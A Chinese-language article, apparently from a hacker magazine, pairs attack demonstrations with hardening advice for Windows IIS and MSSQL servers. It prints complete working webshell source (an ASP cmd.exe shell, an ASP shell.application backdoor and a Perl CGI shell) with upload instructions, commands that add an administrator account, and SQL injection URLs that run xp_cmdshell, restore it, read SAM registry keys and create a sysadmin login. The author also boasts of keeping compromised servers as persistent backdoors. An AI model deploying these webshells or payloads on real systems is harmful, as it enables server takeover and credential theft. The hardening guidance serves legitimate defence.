1. 程式人生 > >MSSQL注入攻擊伺服器與防護

MSSQL注入攻擊伺服器與防護

文章被髮表在黑客防線第5期,是幾個人合寫的喲
慘的是竟然沒有寫我的名字,唯一想說的一句是fuck 黑防!

WinNT系統下許可權設定與黑客的較量
前言:在各種網路上的伺服器上,只要黑客能成功入侵不同配置的伺服器,都會得到一定的許可權,比較GUEST或SYSTEM許可權等,但這些許可權都是由於伺服器管理員的配置不當或缺少管理經驗而讓黑客成功入侵的,只要我們給伺服器上各種危險的元件及命令都加上一定的許可權設定,那麼就會得到最大的安全。下面我們來介紹一下NT系統下許可權與黑客的較量,當然的的NT伺服器不能是FAT32分割槽的,你的NT伺服器必須採用NTFS分割槽,因為只有NTFS才能給你的伺服器重要檔案設定許可權,如果是FAT32分割槽的,那就沒有安全性可言了,以下介紹一些入侵防範例項大家就會知道設定許可權的重要性了。
隨著網路的高速發展,現在朋友們都裝上了寬頻網,做虛擬主機生意的提供商生意當然也越來越好了,做網站的朋友也比往年多了起來,但是現在的黑客們卻喜歡上了在虛擬主機提供商的空間裡放上一個webshell,以取得伺服器的管理權,這是讓伺服器的管理員最頭痛的事。黑客們通過各種 webshell 可以在伺服器裡執行CMD命令,還可以複製、刪除檔案,線上編輯檔案,建立超級使用者等。Webshell(也叫網頁木馬)在這裡分很多種,如ASP、CGI、PHP、JSP的webshell都有,現在還流行 SQL 注入的xp_cmdshell等,都屬於webshell中的其中一種,現在我們首先介紹的是黑客們稱作為網頁木馬的各種webshell的攻擊與防範方法。同時用這最簡單的安全設定方法還能防範網路上的大部份溢位攻擊等,如著名的 IDQ、IDA、WEBDAV 及RPC溢位……,都能讓黑客取得你伺服器的管理權,但是你通過這小小的安全配置,黑客們的溢位攻擊你就不用再怕了。就算不打補丁也是安全的,相信嗎?不信?請看下文!
攻擊與防範方法其實都是非常的簡單,所以一般熟悉網頁製作、還懂點CMD命令的朋友們都能學會的,在我看來沒有太大的技術性可言,難度等級(初級)就是人人都可以學會的啦,但這份教程卻能作為各WEB網站伺服器管理員不管你是有多年的伺服器管理經驗還是新手,這份教程都能作為你最為有效防範WEBSHELL攻擊及溢位攻擊的方法參考資料。
一、基本ASP的WEBSHELL攻擊與防範
以下我們以例項講解ASP的三種Webshell攻擊與防範方法(並提供webshell原始碼):
例一、種使用指令碼繫結CMD命令:
這是一種使用指令碼繫結CMD命令的攻擊方法,其實asp的webshell並不止這一種,後面還會有介紹另外兩種的 webshell攻擊與防範方法。只要黑客在你的伺服器上放上了這種 webshell ,你又沒有適當的防範方法,那麼你的伺服器就會慘遭毒手,成了黑客們的肉雞了。一般遭此毒手的伺服器都是虛擬主機提供商的伺服器,也有屬於個人或公司的伺服器,黑客是怎麼樣把這個 webshell傳到你的伺服器的呢?如果是傳到虛擬主機提供商的WEB空間的,一般都是虛擬主機提供商的客戶自己傳的^_^,因為虛擬上機提供商的客戶本身就擁有上傳軟體的許可權,並擁有 http 服務的瀏覽地址。客戶使用這種 webshell目的一般只想看看自己租用的伺服器空間上存放了些什麼檔案或通過這個webshell 盜竊伺服器上的某些重要資料。個人或公司的伺服器,黑客怎麼把這個 webshell傳到伺服器空間上的呢?呵呵,一般是通過伺服器上某個如論壇、下載系統的指令碼漏洞,通過這些漏洞取得在WWW上80埠上傳檔案的許可權或通過某些漏洞使用TFTP服務把這個webshell傳到你的伺服器上的,由於我們這裡只講解這些 webshell是怎麼樣攻擊的,所以並不提及到怎麼樣才能把這個 webshell傳到伺服器的空間上,本文假設你已經把這個 webshell傳到了伺服器空間上,你並取得了 http 的瀏覽地址,只要伺服器是支援 asp 的,你就能使用這個 webshell取得伺服器系統的管理權了,這種後門非常隱蔽,就算你重灌了N次系統,打了N的的補丁也沒效,因為這個漏洞是沒有補丁的^_^,只要這個 webshell 還存在,黑客找到這個 webshell的WWW瀏覽地址,你的伺服器一樣會變成黑客的肉雞,所以危害性極大。
如下圖所示,我把一個檔名叫CMD.ASP的ASP指令碼WEBSHELL檔案傳到了一臺伺服器IP為192.168.0.18的伺服器上,把這個檔案放到了FTP根目錄裡的webshell資料夾下,我們就能使用http://192.168.0.18/webshell/cmd.asp 的地址訪問這個 webshell 了,我們可以在那個空白的表單裡輸入所有的CMD命令,如dir c:/ 等命令,如果你想在這臺伺服器裡建立一個超使用者,可以輸入兩行命令,第一行輸入 net user netpk hacker /add 然後點選執行CMD命令按鈕,就建立了一個普通使用者netpk ,再輸入第二行命令, net localgroup administrators netpk /add 這樣就把剛才建立的普通使用者 netpk 加入了超級使用者管理級 administrators 組了,通過這些,我們可以確定這個webshell 有執行所有的CMD命令許可權,你想幹什麼,不用我教你了吧,呵呵^_^。

下面附上這個 cmd.asp 指令碼的原始碼:
執行命令:<br>
<%
Dim oScript
Dim oScriptnet
Dim oFileSys, oFile
Dim szCMD,szTempFile
szCMD=request.form(".cmd")
'從輸入框得到cmd
On Error Resume Next
'如果出現錯誤,直接跳過,防止彈出錯誤視窗
set oScript=server.createobject("WSCRIPT.SHELL")
'建立shell(wshshell)物件
set oFileSys=server.createobject("scripting.filesystemobject")
szTempFile="C:/"& oFileSys.GetTempName()
'GetTempName()是fso建立臨時檔案的一種方法
Call oScript.Run ("cmd.exe /c "& szCMD &">" &szTempFile,0,true)
'呼叫wshshell函式的run來執行命令,並把它重定向到臨時資料夾中
set oFile=oFileSys.OpenTextFile(szTempFile,1,False,0)
'以讀的方式開啟臨時檔案
%>
<HTML>
<body bgcolor="#C0C0C0" text="#000000">
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="執行CMD命令" class=input>
</FORM>
<PRE>
<%
On Error Resume Next
response.write server.HTMLEncode(oFile.ReadAll)
'輸出編碼後的檔案內容
oFile.close
'關閉檔案
call oFileSys.DeleteFile(szTempFile,True)
'防止被抓住所以刪除檔案
%>
</body>
</html>

你只要把上面的程式碼寫在記事本里,儲存副檔名為 .ASP ,再傳到你的虛擬主機空間就可以運行了。這種繫結CMD命令的指令碼攻擊防範方法有好幾種,其實你如果要防範這種攻擊,你只要把ASP中的FSO(Scripting.FileSystemObject)功能刪除就行了,刪除FSO許可權方法就是在CMD的命令提示符下輸入以下命令:
Regsvr32 /u c:/winnt/system32/scrrun.dll
注意:在實際操作的時候要更改成為你本地系統安裝目錄的實際路徑,但是使用這種方法刪除也太絕了一點,如果以後我們想使用FSO許可權,那就用不了啦。所以建議不要使用這種方法刪除FSO許可權,
但是,顯而易見,如果這樣做,那麼包括站點系統管理員在內的任何人都將不可以使用FileSystemObject物件了,這其實並不是站點管理人員想要得到的結果,畢竟我們使用這個物件可以實現方便的線上站臺管理,如果連繫統管理員都沒法使用了,那可就得不償失了,但是不禁止這個危險的物件又會給自己的站點帶來安全漏洞。那麼有沒有兩全其美的方法呢?有!具體方法如下:
  我們可以做到禁止其他人非法使用FileSystemObject物件,但是我們自己仍然可以使用這個物件.
  方法如下:
  查詢登錄檔中
  HKEY_CLASSES_ROOT/Scripting.FileSystemObject 鍵值
  將其更改成為你想要的字串(右鍵-->"重新命名"),比如更改成為
   HKEY_CLASSES_ROOT/Scripting.FileSystemObject2
  這樣,在ASP就必須這樣引用這個物件了:
   Set fso = CreateObject("Scripting.FileSystemObjectnetpk")
  而不能使用:
  Set fso = CreateObject("Scripting.FileSystemObject")
  如果你使用通常的方法來呼叫FileSystemObject物件就會無法使用了。
  呵呵,只要你不告訴別人這個更改過的物件名稱,其他人是無法使用FileSystemObject物件的。這樣,作為站點管理者我們就杜絕了他人非法使用FileSystemObject物件,而我們自己仍然可以使用這個物件來方便的實現網站線上管理等等功能了!
但這樣做還是有一定的危害性的,因為這樣配置的方法並不是十分的完善。只是簡單地解決了FSO呼叫CMD命令和一些簡單的ASP木馬指令碼,要知道WEBSHELL並不是只有ASP的一種,如CGI、PHP、JSP等都存在這樣的WEBSHELL,如果你的伺服器同時配置了支援CGI、PHP、JSP等,那可就慘了,因為如CGI等這些WEBSHELL是不須要FSO支援就能實現WEBSHELL的。所以你還得向下看,以下還有一些值得大家注意的WEBSHELL。
其實還有更簡單實用的方法能防範這種使用ASP指令碼繫結CMD命令的webshell,配置防範方法只須要30秒就行了,防範方法等介紹完了CGI、PHP、JSP等WEBSHELL再說,因為只要一種防範方法,就能防止這些指令碼攻擊及溢位攻擊等,在最後我們介紹的防範方法對我們提及到的所有能繫結CMD的WEBSHELL都是能絕對能有效防範的。

例二、使用FSO許可權對檔案管理的WEBSHELL攻擊與防範方法
以下我們介紹的是海陽頂端asp木馬,這種WEBSHELL能通過網頁線上更改、編輯、刪除、移動、上傳、下載伺服器上的任意檔案,只要黑客給你的伺服器傳上這個ASP木馬,你的伺服器上的所有檔案就會控制在黑客的手上,黑客能在你的伺服器幹什麼?就是上面提及到的。更改、刪除、移動……
如下圖所示:


看到這個圖,你也能想像到你的伺服器到最後會變得怎麼樣了,你伺服器上的資料將沒有隱私可言了,想黑你伺服器上的主頁或是刪除你伺服器上的檔案都是點幾下滑鼠就能辦到的了。這種ASP木馬網路上各黑客網站均有下載,原始碼就不便寫出來了。
防範方法:和例一的一樣,這裡不再重述。
後語:那是不是對於ASP的WEBSHELL就是關了FSO對像或給FSO在登錄檔裡改名就行了呢?事實並不是這樣的,因為ASP木馬中還有一種是不需要FSO對像支援的,功能雖然並不是很強大,但是要黑一個網站的站,功能已經是很足夠的了,這種木馬令人防不勝防。以下請看例三。

例三:免FSO對像就能使用的ASP木馬
對於這種免FSO對像就能使用的ASP木馬,由於少了FSO對像的支援,功能上當然不會很強大的了,只有瀏覽伺服器上的檔案目錄,複製、移動檔案、執行指定路徑的程式檔案等功能。值得注意的是現在的虛擬主機提供商的虛擬主機大多數都還存在這個漏洞,看來這個漏洞那些伺服器網管們是非得好好維護一下才行了。以下是當你瀏覽這個ASP木馬時,所出現的圖例。就連黑客基地的伺服器也存在相同的漏洞。經本人測試結果,只要使用WEHSHELL就能很容易地取得黑客基地的管理權,但人家說我是黑基的副站長,所以就不幹這事了。(編輯同志,我寫的黑基這段話你可以刪除的哈,因為黑基的伺服器並不安全,草民就曾經進去幫他們參觀過了。只是我一直沒有心情通知那些吹牛B,自己的伺服器都維護不好,還要收費教人家安全維護伺服器的牛人。至於現在黑基還有沒有存在這些漏洞我就不知道了,因為沒心情幫他們測試了。)


你可以通過這個免FSO支援的ASP木馬對伺服器上的檔案進行任意的複製及移動和執行程式,這個木馬程的功能隨然簡單,但是用它來黑一個網站就是已經足夠的了。比如,我們可以把網站的首頁移動到其它地方,然後我們再複製一個同名的黑客網頁進去就行了。使用執行程式功能讓伺服器執行任意的木馬程式以取得伺服器的ADMIN管理權等。
以下我給出這個免FSO對像的ASP原始碼,程式碼如下:
<%response.write "<font size=6 color=red>一次只能執行一個操作:)</font>" %>
<%response.write now()%><BR>程式所在的物理路徑:
<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
<html>
<title>asp's shell.application backdoor </title>
<body>
<form action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=text value="<%=szCMD %>"> 輸入要瀏覽的目錄<br>
<input type=text name=text1 value="<%=szCMD1 %>">
copy
<input type=text name=text2 value="<%=szCMD2 %>"><br>
<input type=text name=text3 value="<%=szCMD3 %>">
move
<input type=text name=text4 value="<%=szCMD4 %>"><br>
路徑:<input type=text name=text5 value="<%=szCMD5 %>">
程式:<input type=text name=text6 value="<%=szCMD6 %>"><br>
<input type=submit name=sb value=傳送命令>
</form>
</body>
</html>
<%
szCMD = Request.Form("text") '目錄瀏覽
if (szCMD <> "") then
set shell=server.createobject("shell.application") '建立shell物件
set fod1=shell.namespace(szcmd)
set foditems=fod1.items
for each co in foditems
response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>"
next
end if
%>
<%
szCMD1 = Request.Form("text1") '目錄拷貝,不能進行檔案拷貝
szCMD2 = Request.Form("text2")
if szcmd1<>"" and szcmd2<>"" then
set shell1=server.createobject("shell.application") '建立shell物件
set fod1=shell1.namespace(szcmd2)
for i=len(szcmd1) to 1 step -1
if mid(szcmd1,i,1)="/" then
path=left(szcmd1,i-1)
exit for
end if
next
if len(path)=2 then path=path & "/"
path2=right(szcmd1,len(szcmd1)-i)
set fod2=shell1.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write "command completed success!"
end if
%>
<%
szCMD3 = Request.Form("text3") '目錄移動
szCMD4 = Request.Form("text4")
if szcmd3<>"" and szcmd4<>"" then
set shell2=server.createobject("shell.application") '建立shell物件
set fod1=shell2.namespace(szcmd4)
for i=len(szcmd3) to 1 step -1
if mid(szcmd3,i,1)="/" then
path=left(szcmd3,i-1)
exit for
end if
next
if len(path)=2 then path=path & "/"
path2=right(szcmd3,len(szcmd3)-i)
set fod2=shell2.namespace(path)
set foditem=fod2.parsename(path2)
fod1.movehere foditem
response.write "command completed success!"
end if
%>
<%
szCMD5 = Request.Form("text5") '執行程式要指定路徑
szCMD6 = Request.Form("text6")
if szcmd5<>"" and szcmd6<>"" then
set shell3=server.createobject("shell.application") '建立shell物件
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
response.write "command completed success!"
end if
%>

你只要把上面的程式碼寫在記事本里,儲存副檔名為 .ASP ,再傳到你的虛擬主機空間就可以運行了。
防範免FSO支援的ASP木馬方法如下:
通過上面的程式碼,我們可以看出這段程式碼的SHELL是通過shell.application 建立 shell 對像的,我們只要在登錄檔裡查詢鍵值shell.application和 wscript.shell 鍵值,然後把這些鍵值刪除,就能防止這一類的ASP木馬攻擊了,刪除這些鍵值對你的伺服器及ASP支援等不會造成影響的,所以請放心刪除。

二、構建免受 FSO 威脅虛擬主機
現在絕大多數的虛擬主機都禁用了 ASP 的標準組件:FileSystemObject,因為這個元件為 ASP 提供了強大的檔案系統訪問能力,可以對伺服器硬碟上的任何檔案進行讀、寫、複製、刪除、改名等操作(當然,這是指在使用預設設定的 Windows NT / 2000 下才能做到)。但是禁止此元件後,引起的後果就是所有利用這個元件的 ASP 將無法執行,無法滿足客戶的需求。
  如何既允許 FileSystemObject 元件,又不影響伺服器的安全性(即:不同虛擬主機使用者之間不能使用該元件讀寫別人的檔案)呢?這裡介紹本人在實驗中獲得的一種方法,下文以 Windows 2000 Server 為例來說明。
  在伺服器上開啟資源管理器,用滑鼠右鍵點選各個硬碟分割槽或卷的碟符,在彈出選單中選擇“屬性”,選擇“安全”選項卡,此時就可以看到有哪些帳號可以訪問這個分割槽(卷)及訪問許可權。預設安裝後,出現的是“Everyone”具有完全控制的許可權。點“新增”,將“Administrators”、“Backup Operators”、“Power Users”、“Users”等幾個組新增進去,並給予“完全控制”或相應的許可權,注意,不要給“Guests”組、“IUSR_機器名”這幾個帳號任何許可權。然後將“Everyone”組從列表中刪除,這樣,就只有授權的組和使用者才能訪問此硬碟分割槽了,而 ASP 執行時,是以“IUSR_機器名”的身份訪問硬碟的,這裡沒給該使用者帳號許可權,ASP 也就不能讀寫硬碟上的檔案了。
  下面要做的就是給每個虛擬主機使用者設定一個單獨的使用者帳號,然後再給每個帳號分配一個允許其完全控制的目錄。
  如下圖所示,開啟“計算機管理”→“本地使用者和組”→“使用者”,在右欄中點選滑鼠右鍵,在彈出的選單中選擇“新使用者”:

在彈出的“新使用者”對話方塊中根據實際需要輸入“使用者名稱”、“全名”、“描述”、“密碼”、“確認密碼”,並將“使用者下次登入時須更改密碼”前的對號去掉,選中“使用者不能更改密碼”和“密碼永不過期”。本例是給第一虛擬主機的使用者建立一個匿名訪問 Internet 資訊服務的內建帳號“IUSR_VHOST1”,即:所有客戶端使用 http://xxx.xxx.xxxx/ 訪問此虛擬主機時,都是以這個身份來訪問的。輸入完成後點“建立”即可。可以根據實際需要,建立多個使用者,建立完畢後點“關閉”:

現在新建立的使用者已經出現在帳號列表中了,在列表中雙擊該帳號,以便進一步進行設定:

在彈出的“IUSR_VHOST1”(即剛才建立的新帳號)屬性對話方塊中點“隸屬於”選項卡:

剛建立的帳號預設是屬於“Users”組,選中該組,點“刪除”:

  現在出現的是如下圖所示,此時再點“新增”:

在彈出的“選擇 組”對話方塊中找到“Guests”,點“新增”,此組就會出現在下方的文字框中,然後點“確定”:

  出現的就是如下圖所示的內容,點“確定”關閉此對話方塊:

  開啟“Internet 資訊服務”,開始對虛擬主機進行設定,本例中的以對“第一虛擬主機”設定為例進行說明,右擊該主機名,在彈出的選單中選擇“屬性”:

  彈出一個“第一虛擬主機 屬性”的對話方塊,從對話方塊中可以看到該虛擬主機使用者的使用的是“F:/VHOST1”這個資料夾:

  暫時先不管剛才的“第一虛擬主機 屬性”對話方塊,切換到“資源管理器”,找到“F:/VHOST1”這個資料夾,右擊,選“屬性”→“安全”選項卡,此時可以看到該資料夾的預設安全設定是“Everyone”完全控制(視不同情況顯示的內容不完全一樣),首先將最將下的“允許將來自父系的可繼承許可權傳播給該物件”前面的對號去掉:

此時會彈出如下圖所示的“安全”警告,點“刪除”:

  此時安全選項卡中的所有組和使用者都將被清空(如果沒有清空,請使用“刪除”將其清空),然後點“新增”按鈕。

  將如圖中所示的“Administrator”及在前面所建立的新帳號“IUSR_VHOST1”新增進來,將給予完全控制的許可權,還可以根據實際需要新增其他組或使用者,但一定不要將“Guests”組、“IUSR_機器名”這些匿名訪問的帳號新增上去!

  再切換到前面開啟的“第一虛擬主機 屬性”的對話方塊,開啟“目錄安全性”選項卡,點匿名訪問和驗證控制的“編輯”:

  在彈出的“驗證方法”對方框(如下圖所示),點“編輯”:

  彈出了“匿名使用者帳號”,預設的就是“IUSR_機器名”,點“瀏覽”:

  在“選擇 使用者”對話方塊中找到前面建立的新帳號“IUSR_VHOST1”,雙擊:

  此時匿名使用者名稱就改過來了,在密碼框中輸入前面建立時,為該帳號設定的密碼:

  再確定一遍密碼:

  OK,完成了,點確定關閉這些對話方塊。
  經此設定後,“第一虛擬主機”的使用者,使用 ASP 的 FileSystemObject 元件也只能訪問自己的目錄:F:/VHOST1 下的內容,當試圖訪問其他內容時,會出現諸如“沒有許可權”、“硬碟未準備好”、“500 伺服器內部錯誤”等出錯提示了。
  另:如果該使用者需要讀取硬碟的分割槽容量及硬碟的序列號,那這樣的設定將使其無法讀取。如果要允許其讀取這些和整個分割槽有關的內容,請右鍵點選該硬碟的分割槽(卷),選擇“屬性”→“安全”,將這個使用者的帳號新增到列表中,並至少給予“讀取”許可權。由於該卷下的子目錄都已經設定為“禁止將來自父系的可繼承許可權傳播給該物件”,所以不會影響下面的子目錄的許可權設定。

三、基於CGI、PHP、JSP的WEBSHELL及溢位攻擊與防範
CGI、PHP、JSP指令碼也能繫結CMD命令,但基本CGI的WEBSHELL功能許可權與防範方法是不是都是一樣的呢?答案是他們的WEBSHELL許可權幾本相同,大同小異,但防範的黑客使用指令碼給你繫結CMD命令的方法卻是完全不同的,因為別的語言指令碼中要繫結CMD命令根本不需要FSO等對像的支援,所以就算你關了FSO對像,再在登錄檔裡刪除上面ASP的WEBSHELL中例三中的shell.application和 wscript.shell 鍵值,也不能防範這些指令碼的WEBSHELL。
由於ASP、CGI、PHP、JSP通過指令碼繫結CMD命令的方法都是大同小異的了,都能用一種很簡單的方法就能完全防範這類的攻擊,在此例中,我會把一種30秒內就能完成安全配置,讓任何的指令碼程式都沒法通過遠端呼叫你的CMD命令,以達到完全防範指令碼繫結CMD的目的。WEBSHELL的攻擊方法我們在這裡就作一個最後舉例。
下面舉例:CGI的WEBSHELL攻擊與防範
如下圖所示,只要黑客把一個CMD.CGI的WEBSHELL傳到你的伺服器,那麼黑客就能在你的伺服器裡呼叫CMD命令,並能執行你伺服器裡的所有CMD命令,如建立超級使用者等,下圖是使用這個CMD.CGI的WEBSHELL執行DIR C:/命令。如果黑客在你的伺服器上傳了這個東東,呵呵,你可是欲哭沒淚了。

即使你重灌了N次伺服器的系統,打了N多的補丁,沒用,只要你沒刪除這個WEBSHELL,黑客知道這個WEBSHELL的WWW的瀏覽地址,隨時能把你的機器當肉雞使用。我以前入侵的肉雞就是在對方的虛擬主機目錄下留下了這個東東,我把他叫不死後門吧,只要對方管理員不刪除這個WEBSHELL,那麼他的伺服器永遠是我的肉雞,因為這個東東防毒軟體查不出來的哈。
下面給出這個CMD.CGI的程式碼(網路上也有很多黑客站提供下載的):

use CGI qw(:standard);
print header(-charset=>gb2312);
$cmd=param("cmd");
$out=`$cmd 2>&1`;
print start_form,textfield("cmd",$cmd,60);
print end_form;
print pre($out);

上面就是這個WEBSHELL的程式碼,還有一些PHP和JSP等的WEBSHELL,這裡就不再作介紹了,因為攻擊與防範的方法大同小異,通過上面這些例子,我們看出這幾個 webshell 都是呼叫了NT系統下的 cmd.exe 命令來執行命令的,只要我們對NT系統下的 cmd.exe 檔案設定一定的許可權,呵呵,那麼黑客的這些WEBSHELL都將沒用武之地了。為了安全起見,我們還要對如 net.exe cacls.exe telnet.exe tftp.exe tftp.exe format.com mountvol.exe mshta.exe等危險的命令作出許可權設定。因為這些危險的檔案預設的情況下都是允許來賓以上許可權的使用者訪問及執行的,只有為這些檔案設定了許可權,這樣才能確保真正的安全。這些危險的檔案預設的情況下,都是存放在 C:/WINNT/SYSTEM32 的目錄下的。設定許可權的方法如下圖所示,清除原來的所有其它使用者訪問這些命令的許可權,然後只設置允許你正在使用的超級使用者擁有使用這些命令的許可權,比如說你正在使用的超級使用者名稱是 administrator 那麼,你就在許可權設定裡只允許使用者名稱為 administrator 的使用者使用這些命令。


通過上面這些簡單的設定,就能讓那些繫結你伺服器裡的CMD命令的WEBSHELL全部失效,夠簡單吧。:)而且還能防止你的伺服器在遭到黑客的溢位攻擊成功後繫結CMD命令登陸你的伺服器,道理很簡單,比如目前流先的WEBDAV溢位,這些溢位攻擊就是黑客通過溢位你的伺服器後繫結你伺服器裡的CMD命令,然後TELNET登陸你的伺服器,取得你伺服器上的系統管理權的,但一般黑客溢位成功後,都是隻能擁用SYSTEM許可權繫結你伺服器的CMD命令的,而你已經把CMD命令設定了禁止SYSTEM許可權訪問,只能使用你設定的唯一一個你正在使用的超級使用者名稱去訪問CMD命令。所以就算黑客成功溢位後,都不能繫結你的CMD命令,那麼黑客就登陸不了你的伺服器,你的伺服器就是安全的了。
但這隻能是相對的安全,因為有些溢位攻擊黑客能直接把反向連線的木馬檔案傳到你的伺服器上,並能執行哦。呵呵,如最近出現的Serv-U溢位,如果你的FTP伺服器使用了Serv-U的話,你又沒有打上最新的安全補丁,讓黑客溢位成功了,那麼黑客可以不繫結你的CMD命令登陸你的伺服器,而是給你伺服器傳一個反向連線的木馬後門,這種反向連線的後門是通過你的伺服器向黑客的機器連線,而黑客只要在自己的機器監聽,只要你的伺服器中了這種後門,那麼就算你的伺服器安裝了防火牆,並遮蔽了所有不使用的埠,黑客不能正向與你的伺服器聯接木馬後門,但黑客給你傳一個反向連線的木馬,這個木馬是通過你的伺服器連線黑客的機器的,只要你的伺服器向黑客的機器發出連線請求,黑客就能取得你伺服器的控制權,而這種反向木馬攻擊可以完全不依賴於NT系統下的CMD。可以反向連線木馬的危害性。
那麼我們如果防止這一類的反向木馬攻擊呢?方法很簡單,那就是安裝一個具有防止反向連線木馬的防火牆,如天網及BlackICE防火牆等。都是具有防止反向連線功能的,因為這些防火牆都有應用程式訪問網路許可權設定功能。伺服器上的任何一個程式要訪問網路,都會彈出一個警告視窗,必須要伺服器的管理員同意允許該應用程式訪問網路後,這些程式才能訪問網路,這項功能正好用於防範反向木馬。下面舉一個例子,如你的伺服器安裝了天網防火牆,如黑客成功溢位了你的Serv-U伺服器,並給你傳了一個反向連線的後門木馬,這個後門木馬在你的伺服器的 C:/MM.EXE ,黑客所在IP地址是 192.168.0.18 ,現在黑客要對你伺服器的這個反向連線木馬進行連線,只要黑客在你伺服器上運行了這個反向木馬,那麼你的天網防火牆就會彈出一個警告視窗,如下圖所示:


我們可以通過這個警告視窗看到黑客的真正IP地址及黑客使用這個反向木馬連線的埠,所使用的協議,還有這個反向連線木馬在你伺服器的所在位置等資訊,只要你點選禁止按鈕,這個程式將不能連線黑客的機器,我相信你不會那麼笨,點選允許這個後門連線黑客的機器吧,在你沒有點選允許的情況下,這個後門是不會連線黑客的機器成功的。:)
通過這個例子,我們可以看出,只要我們給一些危險的命令如CMD等設定了許可權,再安裝一個可以防止反向連線木馬的防火牆,那麼那些所謂的溢位攻擊將不能對你的伺服器造成造害了。

四、MSSQL注入攻擊的防護(本文是本站成員alpha寫的)
Mssql注入攻擊是比較直接和危害比較大的一種攻擊方式,那些所謂的黑客們能夠利用它直接取得系統許可權。今天我們就來看看如何通過系統設定防止這種攻擊:
首先要申明的是,並不是通過這個設定就能保證你的伺服器的安全,安全是一個整體,然而整體又正是由這些部分構成的!
對策一:
偽黑客:
假設這個地方可以注入
http://localhost/bbs/news.asp?id=5
我們往往採取下面這種方法來攻擊
http://localhost/bbs/news.asp?id=5;exec master.dbo.xp_cmdshell ‘net user alpha /add’---

http://localhost/bbs/news.asp?id=5;exec master.dbo.xp_cmdshell ‘net loclagroup administrators alpha /add’---

好了,alpha已經是系統管理員了!
管理者:
如何防止呢?
看看他們是怎麼實現的,通過呼叫SQL裡的master裡的擴充套件儲存過程裡的xp_cmdshell,(如下圖),來執行系統指令!

我們只要點右鍵刪除這個擴充套件儲存,上面的攻擊方法便不起作用了!
當然你也可以用下面這句:
sp_dropextendedproc 'xp_cmdshell'
來刪除xp_cmdshell



對策二:
黑客對策,如果MSSQL資料庫裡xp_cmdshell擴充套件被刪掉了,不用怕,我們還有方法的喲!
http://localhost/bbs/news.asp?id=5;exec master.dbo.sp_addextendedproc xp_cmdshell @dllname=’xplog70.dll’;--
通過這樣一條我們就又把xp_cmdshell給恢復了。
管理者:靠,看來我們的設定還不夠徹底喲
好,在c盤裡直接搜尋xplog70.dll
如圖

找到了,刪了它,好了,這個世界清靜了,至少那幫人不會直接執行系統指令了!!
對策三:
偽黑客:你以為這樣就可以了嗎?你錯了喲,呵呵,我方法還是多多的喲!
只要你用的是sa賬戶,我就還有方法的喲
http://localhost/bbs/news.asp?id=5;exec xp_regread 'HKEY_LOCAL_MACHINE', 'SECURITY/SAM/Domains/Account', 'F'
看看,說不定我們就能得到管理員的密碼喲!
加一個啟動項什麼的自然不在話下。
管理者:
看來我得下狠的了,看我這樣,我把這些擴充套件都刪除了
Xp_regaddmultistring (向登錄檔中增加專案)
Xp_regdeletekey (從登錄檔中刪除一個鍵)
Xp_regdeletevalue (從登錄檔中刪除一個鍵值)
Xp_regenumvalues (列舉主鍵下的鍵值)
Xp_regread (讀去一個主鍵下的鍵值)
Xp_regremovemultistring (從登錄檔中刪除專案)
Xp_regwrite (向登錄檔中寫入資料)
看你囂張,呵呵,想從登錄檔裡面搞,沒門!
對策四:
偽黑客:
不讓搞登錄檔就算了,我可以搞別的地方的喲!我加一個sql的管理員還不行嗎?
真是的!
http://localhost/bbs/news.asp?id=5;exec master.dbo.sp_addlogin alpha;--
http://localhost/bbs/news.asp?id=5;exec master.dbo.sp_password null,alpha,alpha;--
http://localhost/bbs/news.asp?id=5;exec master.dbo.sp_addsrvrolemember sysadmin alpha;--
看看,說不定那天等xp_cmdshell能用了,我就又是管理員了呢!
管理者:
算了,我不跟你羅嗦了,我不用sa連線資料庫還不行?
我建一個許可權低一點的賬戶,比如說建立一個名為 bbs的資料庫
然後建一個 名為bbs的賬戶

確定然後我們再去bbs的使用者下中設定一下:
給他分配一些基本的許可權就可以了,

好了,如果用這個使用者來連線bbs資料庫,相對於用sa來說安全多了喲!
還有其他的很多很多的
比如:
刪除多餘的系統儲存過程
sp_bindsession sp_cursor sp_cursorclos sp_cursorfetch sp_cursoropen sp_cursoroption sp_getbindtoken sp_GetMBCSCharLen sp_IsMBCSLeadByte sp_OACreate sp_OADestroy sp_OAGetErrorInfo sp_OAGetProperty sp_OAMethod sp_OASetProperty sp_OAStop sp_replcmds sp_replcounters sp_repldone sp_replflush sp_replstatus sp_repltrans sp_sdidebug xp_availablemedia xp_cmdshell xp_deletemail xp_dirtree xp_dropwebtask xp_dsninfo xp_enumdsn xp_enumerrorlogs xp_enumgroups xp_enumqueuedtasks xp_eventlog xp_findnextmsg xp_fixeddrives xp_getfiledetails xp_getnetname xp_grantlogin xp_logevent xp_loginconfig xp_logininfo xp_makewebtask xp_msver xp_perfend xp_perfmonitor xp_perfsample xp_perfstart xp_readerrorlog xp_readmail xp_revokelogin xp_runwebtask xp_schedulersignal xp_sendmail xp_servicecontrol xp_snmp_getstate xp_snmp_raisetrap xp_sprintf xp_sqlinventory xp_sqlregister xp_sqltrace xp_sscanf xp_startmail xp_stopmail xp_subdirs xp_unc_to_drive
定期檢查使用者登入情況
Use master
Select name,Password,Accdate
from syslogins
order by name

今天就說到這裡了!
其實MSSQL的注入攻擊防禦還有很多很多東西喲!
比如匯出特殊檔案,破解網站密碼,太多太多了,今天就簡單給大家介紹這些
甚至我要說,即使你按這個設定了,你的系統還是危險的,還是脆弱的!
要想得到更安全的配置請繼續關注伺服器焦點喲!!!


五、簡單的MYSQL資料庫入侵防禦問題(本文由伺服器焦點成員 lonely 寫的,有點爛)
在網路上,很多系統(win2k、linux)都安裝了MYSQL資料庫。的確,這個資料庫非常受大家歡迎,但這麼受歡迎的資料庫安裝完畢有個漏洞—就是資料庫的ROOT的帳號密碼為空,現在網路上很多機器都有這類毛病。

  我曾經掃描了一個C類地址,竟發現數據庫Root密碼為空的機器多達89臺,因為MYSQL不象MSSQL資料庫那樣可以呼叫XP-Shell命令,所以很多人找到這樣的漏洞也不會利用。下面我就介紹一下,如何利用Win2k下Root密碼為空的資料庫:

